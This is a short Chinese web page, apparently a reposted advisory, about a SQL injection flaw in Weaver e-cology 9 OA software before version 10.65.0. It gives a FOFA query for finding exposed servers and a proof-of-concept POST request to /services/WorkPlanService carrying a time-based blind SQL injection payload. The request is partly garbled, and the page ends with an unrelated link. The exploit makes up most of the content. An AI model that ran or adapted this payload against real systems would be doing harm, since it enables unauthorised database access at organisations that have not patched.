http://www.wwlib.cn/index.php/artread/artid/15575.html泛微协同管理应用平台e-cology是一套企业级大型协同管理平台
该漏洞是由于泛微e-cology未对用户的输入进行有效的过滤,直接将其拼接进了SQL查询语句中,导致系统出现 SQL 注入漏洞。
影响范围:泛微E-Cology9 < 10.65.0
FOFO:app="泛微-OA(e-cology)" POC
延时5秒
payload:
POST /services/WorkPlanService HTTP/1.1 HOST: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Content-Type: text/xml;charset=UTF-8 Connection: close (SELECT 8544 FROM (SELECT(SLEEP(5-(IF(27=27,0,5)))))NZeo) 22 效果图:

上一篇:苹果8为什么字拉不上去